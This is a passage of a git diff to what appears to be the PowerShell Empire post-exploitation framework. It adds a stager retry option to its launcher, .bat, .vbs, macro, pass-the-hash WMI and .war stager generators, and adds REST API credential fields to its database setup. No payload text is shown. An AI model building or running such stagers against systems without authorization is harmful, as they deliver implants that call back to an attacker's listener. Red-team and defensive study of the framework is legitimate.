mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output launcher to, otherwise displayed on the screen.', 'Required' : False, @@ -71,13 +76,14 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] encode = False if base64.lower() == "true": encode = True # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/launcher_bat.py b/lib/stagers/launcher_bat.py index 508842d4f..0085cf520 100644 --- a/lib/stagers/launcher_bat.py +++ b/lib/stagers/launcher_bat.py @@ -25,6 +25,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output .bat launcher to, otherwise displayed on the screen.', 'Required' : False, @@ -71,9 +76,10 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/launcher_vbs.py b/lib/stagers/launcher_vbs.py index a5e12ee92..0ad7ea1a1 100644 --- a/lib/stagers/launcher_vbs.py +++ b/lib/stagers/launcher_vbs.py @@ -25,6 +25,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output .vbs launcher to, otherwise displayed on the screen.', 'Required' : False, @@ -65,9 +70,10 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] - + stagerRetries = self.options['StagerRetries']['Value'] + # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/macro.py b/lib/stagers/macro.py index 015ac9c9d..d75d681a1 100644 --- a/lib/stagers/macro.py +++ b/lib/stagers/macro.py @@ -25,6 +25,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output macro to, otherwise displayed on the screen.', 'Required' : False, @@ -65,9 +70,10 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/pth_wmis.py b/lib/stagers/pth_wmis.py index ba8c9ca22..5d5473377 100644 --- a/lib/stagers/pth_wmis.py +++ b/lib/stagers/pth_wmis.py @@ -25,6 +25,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'OutFile' : { 'Description' : 'File to output command to, otherwise displayed on the screen.', 'Required' : False, @@ -83,13 +88,14 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] commands = "#!/bin/bash\n" targets = targets.split(",") # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/lib/stagers/war.py b/lib/stagers/war.py index 548d51e76..81874d66c 100644 --- a/lib/stagers/war.py +++ b/lib/stagers/war.py @@ -27,6 +27,11 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, 'AppName' : { 'Description' : 'Name for the .war/.jsp. Defaults to listener name.', 'Required' : False, @@ -73,13 +78,14 @@ def generate(self): userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] # appName defaults to the listenername if appName == "": appName = listenerName # generate the launcher code - launcher = self.mainMenu.stagers.generate_launcher(listenerName, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) if launcher == "": print helpers.color("[!] Error in launcher command generation.") diff --git a/setup/install.sh b/setup/install.sh index a01d06f96..5dc9aeb7e 100755 --- a/setup/install.sh +++ b/setup/install.sh @@ -14,6 +14,7 @@ if lsb_release -d | grep -q "Fedora"; then pip install pycrypto pip install iptools pip install pydispatcher + pip install flask elif lsb_release -d | grep -q "Kali"; then Release=Kali apt-get install python-dev @@ -23,6 +24,7 @@ elif lsb_release -d | grep -q "Kali"; then pip install pycrypto pip install iptools pip install pydispatcher + pip install flask elif lsb_release -d | grep -q "Ubuntu"; then Release=Ubuntu apt-get install python-dev @@ -31,6 +33,7 @@ elif lsb_release -d | grep -q "Ubuntu"; then pip install pycrypto pip install iptools pip install pydispatcher + pip install flask else echo "Unknown distro - Debian/Ubuntu Fallback" apt-get install python-dev @@ -39,6 +42,7 @@ else pip install pycrypto pip install iptools pip install pydispatcher + pip install flask fi # set up the database schema diff --git a/setup/setup_database.py b/setup/setup_database.py index e07ca5593..764a2910a 100755 --- a/setup/setup_database.py +++ b/setup/setup_database.py @@ -69,9 +69,15 @@ # format is 192.168.1.1,192.168.1.10-192.168.1.100,10.0.0.0/8 IP_BLACKLIST = "" -#number of times an agent will call back without an answer prior to exiting +# number of times an agent will call back without an answer prior to exiting DEFAULT_LOST_LIMIT = 60 +# default credentials used to log into the RESTful API +API_USERNAME = "empireadmin" +API_PASSWORD = ''.join(random.sample(string.ascii_letters + string.digits + punctuation, 32)) + +# the 'permanent' API token (doesn't change) +API_PERMANENT_TOKEN = ''.join(random.choice(string.ascii_lowercase + string.digits) for x in range(40)) ################################################### @@ -104,11 +110,15 @@ "ip_blacklist" text, "default_lost_limit" integer, "autorun_command" text, - "autorun_data" text + "autorun_data" text, + "api_username" text, + "api_password" text, + "api_current_token" text, + "api_permanent_token" text )''') # kick off the config component of the database -c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT, "", "")) +c.execute("INSERT INTO config VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (STAGING_KEY,STAGE0_URI,STAGE1_URI,STAGE2_URI,DEFAULT_DELAY,DEFAULT_JITTER,DEFAULT_PROFILE,DEFAULT_CERT_PATH,DEFAULT_PORT,INSTALL_PATH,SERVER_VERSION,IP_WHITELIST,IP_BLACKLIST, DEFAULT_LOST_LIMIT, "", "", API_USERNAME, API_PASSWORD, "", API_PERMANENT_TOKEN)) c.execute('''CREATE TABLE "agents" ( "id" integer PRIMARY KEY, @@ -139,7 +149,9 @@ "kill_date" text, "working_hours" text, "ps_version" text, - "lost_limit" integer + "lost_limit" integer, + "taskings" text, + "results" text )''') c.execute('''CREATE TABLE "listeners" (